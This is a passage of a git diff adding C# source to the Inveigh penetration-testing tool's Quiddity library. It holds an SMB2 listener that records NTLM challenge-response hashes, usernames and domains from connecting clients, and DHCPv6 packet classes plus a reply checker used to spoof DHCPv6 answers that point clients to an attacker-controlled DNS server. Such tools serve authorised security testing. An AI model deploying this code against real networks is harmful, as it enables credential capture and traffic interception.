+ responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2;
+ responseSMB2Header.Command = 1;
+ responseSMB2Header.Flags = new byte[4] { 0x11, 0x00, 0x00, 0x00 };
+ responseSMB2Header.MessageId = requestSMB2Header.MessageId;
+ responseSMB2Header.SessionId = BitConverter.GetBytes(smb2Session);
+ smb2Session++;
+ smb2SessionSetupResponse.Pack(Challenge, NetbiosDomain, ComputerName, DNSDomain, ComputerName, DNSDomain, out byte[] challengeData);
+ sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2SessionSetupResponse);
+ challenge = BitConverter.ToString(challengeData).Replace("-", "");
+ OutputChallenge(listenerPort, clientIP, clientPort, challenge);
+ }
+ else if (requestNTLMNegotiate.MessageType == 3)
+ {
+ NTLMResponse ntlmResponse = new NTLMResponse(smb2SessionSetupRequest.Buffer, true);
+ string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
+ string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
+ string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
+ string response = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", "");
+ string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", "");
+ OutputNTLM("SMB", listenerPort, clientIP, clientPort, user, domain, host, challenge, response, lmResponse);
+ SMB2Header responseSMB2Header = new SMB2Header();
+ SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse();
+ responseSMB2Header.Status = new byte[4] { 0x6d, 0x00, 0x00, 0xc0 };
+ //responseSMB2Header.Status = new byte[4] { 0x00, 0x00, 0x00, 0x00 };
+ //responseSMB2Header.Status = new byte[4] { 0x22, 0x00, 0x00, 0xc0 }; //access denied
+ responseSMB2Header.CreditCharge = 1;
+ responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2;
+ responseSMB2Header.Command = 1;
+ responseSMB2Header.Flags = new byte[4] { 0x11, 0x00, 0x00, 0x00 };
+ responseSMB2Header.MessageId = requestSMB2Header.MessageId;
+ responseSMB2Header.SessionId = requestSMB2Header.SessionId;
+ smb2SessionSetupResponse.SecurityBufferOffset = 0;
+ sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2SessionSetupResponse);
+ }
+
+ }
+ break;
+
+ }
+
+ }
+
+ tcpStream.Write(sendBuffer, 0, sendBuffer.Length);
+ tcpStream.Flush();
+ }
+ else
+ {
+ tcpClient.Close();
+ }
+
+ }
+
+ }
+
+ protected virtual void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash)
+ {
+
+ }
+
+ protected virtual void OutputChallenge(string listenerPort, string clientIP, string clientPort, string challenge)
+ {
+
+ }
+
+ protected virtual void OutputNegotiation(string protocol, string listenerPort, string clientIP, string clientPort)
+ {
+
+ }
+
+ protected virtual void OutputError(Exception ex, int port)
+ {
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/TCPListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/TCPListener.cs
new file mode 100644
index 0000000..44af085
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/TCPListener.cs
@@ -0,0 +1,48 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class TCPListener : TcpListener
+ {
+ public TCPListener(IPAddress ipAddress, int port) : base(ipAddress, port)
+ {
+ this.Server.ExclusiveAddressUse = false;
+ this.ExclusiveAddressUse = false;
+ this.Server.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/UDPListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/UDPListener.cs
new file mode 100644
index 0000000..d0a2f49
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/UDPListener.cs
@@ -0,0 +1,58 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class UDPListener : UdpClient
+ {
+
+ public UDPListener(AddressFamily addressFamily) : base(addressFamily)
+ {
+ this.ExclusiveAddressUse = false;
+ this.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
+ const int SIO_UDP_CONNRESET = -1744830452;
+
+#if NETFRAMEWORK
+ this.Client.IOControl((IOControlCode)SIO_UDP_CONNRESET, new byte[] { 0, 0, 0, 0 }, null);
+#else
+ if (System.OperatingSystem.IsWindows())
+ {
+ this.Client.IOControl((IOControlCode)SIO_UDP_CONNRESET, new byte[] { 0, 0, 0, 0 }, null);
+ }
+#endif
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs
new file mode 100644
index 0000000..2337915
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs
@@ -0,0 +1,15 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SCMR
+{
+ public class SCMRROpenSCManagerW
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-scmr/dc84adb3-d51d-48eb-820d-ba1c6ca5faf2
+ public byte[] LpMachineName { get; set; }
+ public byte[] LpDatabaseName { get; set; }
+ public byte[] DwDesiredAccess { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs
new file mode 100644
index 0000000..568a892
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs
@@ -0,0 +1,150 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Checker
+ {
+ public string[] IgnoreMACs { get; set; }
+ public string[] ReplyToMACs { get; set; }
+ public IList<string> HostCaptures { get; set; }
+ public bool Enabled { get; set; }
+ public bool Inspect { get; set; }
+ public bool Repeat { get; set; }
+ public bool Microsoft { get; set; }
+ public bool Local { get; set; }
+ public string OutputReplyAllowed { get; set; }
+ public string OutputMessage { get; set; }
+ public string OutputInspect { get; set; }
+ public string OutputDisabled { get; set; }
+ public string OutputLocal { get; set; }
+ public string OutputHostDenied { get; set; }
+ public string OutputMACDenied { get; set; }
+ public string OutputVendorDenied { get; set; }
+ public string OutputIPDenied { get; set; }
+ public string OutputRepeat { get; set; }
+
+ public bool Check(string clientMAC, string clientHost, string listenerMAC, bool isMicrosoft)
+ {
+
+ if (this.Inspect)
+ {
+ this.OutputMessage = this.OutputInspect;
+ return false;
+ }
+ else if (!this.Enabled)
+ {
+ this.OutputMessage = this.OutputDisabled;
+ return false;
+ }
+ else if (!isMicrosoft)
+ {
+ this.OutputMessage = this.OutputVendorDenied;
+ return false;
+ }
+ else if (IsLocal(clientMAC, listenerMAC))
+ {
+ this.OutputMessage = this.OutputLocal;
+ return false;
+ }
+ else if (IsRepeat(clientHost))
+ {
+ this.OutputMessage = this.OutputRepeat;
+ return false;
+ }
+ else if (MACIsDenied(clientMAC))
+ {
+ this.OutputMessage = this.OutputMACDenied;
+ return false;
+ }
+ else if (!MACIsAllowed(clientMAC))
+ {
+ this.OutputMessage = this.OutputMACDenied;
+ return false;
+ }
+
+ this.OutputMessage = this.OutputReplyAllowed;
+ return true;
+ }
+
+ public bool IsRepeat(string host)
+ {
+ host = host.Split('.')[0].ToUpper();
+
+ if (!this.Repeat && this.HostCaptures.Contains(host))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool IsLocal(string clientMAC, string listenerMAC)
+ {
+
+ if (!this.Local && string.Equals(clientMAC, listenerMAC))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool MACIsDenied(string mac)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreMACs) && (Array.Exists(this.IgnoreMACs, element => element == mac.Replace(":", "").ToUpper())))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool MACIsAllowed(string mac)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToMACs) && (!Array.Exists(this.ReplyToMACs, element => element == mac.Replace(":","").ToUpper())))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs
new file mode 100644
index 0000000..3412b0d
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs
@@ -0,0 +1,86 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Message
+ {
+ // https://datatracker.ietf.org/doc/html/rfc3315#section-17.1.1
+ public byte MsgType { get; set; }
+ public byte[] TransactionID { get; set; } // 3 bytes
+ public byte[] Options { get; set; }
+
+ public DHCPv6Message()
+ {
+
+ }
+
+ public DHCPv6Message(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.MsgType = packetReader.ReadByte();
+ this.TransactionID = packetReader.ReadBytes(3);
+ this.Options = packetReader.ReadBytes(data.Length - 4);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.MsgType);
+ packetWriter.Write(this.TransactionID);
+ packetWriter.Write(this.Options);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs
new file mode 100644
index 0000000..b3bd457
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs
@@ -0,0 +1,222 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Packet
+ {
+ public DHCPv6Message Message { get; set; }
+ public DHCPv6Option1 Option1 { get; set; }
+ public DHCPv6Option2 Option2 { get; set; }
+ public DHCPv6Option3 Option3 { get; set; }
+ public DHCPv6Option6 Option6 { get; set; }
+ public DHCPv6Option8 Option8 { get; set; }
+ public DHCPv6Option14 Option14 { get; set; }
+ public DHCPv6Option16 Option16 { get; set; }
+ public DHCPv6Option23 Option23 { get; set; }
+ public DHCPv6Option24 Option24 { get; set; }
+ public DHCPv6Option39 Option39 { get; set; }
+
+ public DHCPv6Packet()
+ {
+
+ }
+
+ public DHCPv6Packet(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Packet(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+ this.Message = new DHCPv6Message(data);
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Message.Options))
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(this.Message.Options))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ DHCPv6Option option = new DHCPv6Option();
+ option.ReadBytes(this.Message.Options, 0);
+
+ while (option.OptionCode != 0 && memoryStream.Length - memoryStream.Position >= 4)
+ {
+ option.ReadBytes(this.Message.Options, (int)memoryStream.Position);
+
+ switch (option.OptionCode)
+ {
+ case 1:
+ this.Option1 = new DHCPv6Option1(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 2:
+ this.Option2 = new DHCPv6Option2(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 3:
+ this.Option3 = new DHCPv6Option3(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 6:
+ this.Option6 = new DHCPv6Option6(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 8:
+ this.Option8 = new DHCPv6Option8(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 14:
+ this.Option14 = new DHCPv6Option14(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 16:
+ this.Option16 = new DHCPv6Option16(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 23:
+ this.Option23 = new DHCPv6Option23(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 24:
+ this.Option24 = new DHCPv6Option24(this.Message.Options, (int)memoryStream.Position);
+ break;
+
+ case 39:
+ this.Option39 = new DHCPv6Option39(this.Message.Options, (int)memoryStream.Position);
+ break;
+ }
+
+ memoryStream.Position += option.OptionLen + 4;
+ }
+
+ }
+
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Message.MsgType);
+ packetWriter.Write(this.Message.TransactionID);
+
+ if (this.Option8 != null)
+ {
+ packetWriter.Write(this.Option8.GetBytes());
+ }
+
+ if (this.Option1 != null)
+ {
+ packetWriter.Write(this.Option1.GetBytes());
+ }
+
+ if (this.Option2 != null)
+ {
+ packetWriter.Write(this.Option2.GetBytes());
+ }
+
+ if (this.Option3 != null)
+ {
+ packetWriter.Write(this.Option3.GetBytes());
+ }
+
+ if (this.Option23 != null)
+ {
+ packetWriter.Write(this.Option23.GetBytes());
+ }
+
+ if (this.Option24 != null)
+ {
+ packetWriter.Write(this.Option24.GetBytes());
+ }
+
+ if (this.Option39 != null)
+ {
+ packetWriter.Write(this.Option39.GetBytes());
+ }
+
+ if (this.Option16 != null)
+ {
+ packetWriter.Write(this.Option16.GetBytes());
+ }
+
+ if (this.Option6 != null)
+ {
+ packetWriter.Write(this.Option6.GetBytes());
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public byte[] GetBytes(byte msgType, string leaseAddress, string listenerMAC, string dnsServer, string dnsSuffix, uint lifetime, DHCPv6Packet dhcpv6Packet)
+ {
+
+ this.Message = new DHCPv6Message
+ {
+ MsgType = msgType,
+ TransactionID = dhcpv6Packet.Message.TransactionID
+ };
+
+ this.Option1 = dhcpv6Packet.Option1;
+ this.Option2 = new DHCPv6Option2(listenerMAC);
+ this.Option3 = new DHCPv6Option3(leaseAddress, lifetime, dhcpv6Packet.Option3.IAID);
+ this.Option23 = new DHCPv6Option23(dnsServer);
+
+ if (!String.IsNullOrEmpty(dnsSuffix))
+ {
+ this.Option24 = new DHCPv6Option24(dnsSuffix);
+ }
+
+ return GetBytes();
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs
new file mode 100644
index 0000000..6e630d1
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs
@@ -0,0 +1,39 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option
+ {
+ public ushort OptionCode { get; set; }
+ public ushort OptionLen { get; set; }
+
+ public DHCPv6Option()
+ {
+
+ }
+
+ public DHCPv6Option(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs
new file mode 100644
index 0000000..cf34acc
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs
@@ -0,0 +1,88 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option1 : DHCPv6Option
+ {
+ public byte[] DUID { get; set; }
+
+ public DHCPv6Option1()
+ {
+
+ }
+
+ public DHCPv6Option1(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option1(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.DUID = packetReader.ReadBytes(this.OptionLen);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.DUID);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs
new file mode 100644
index 0000000..6c50e47
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs
@@ -0,0 +1,86 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
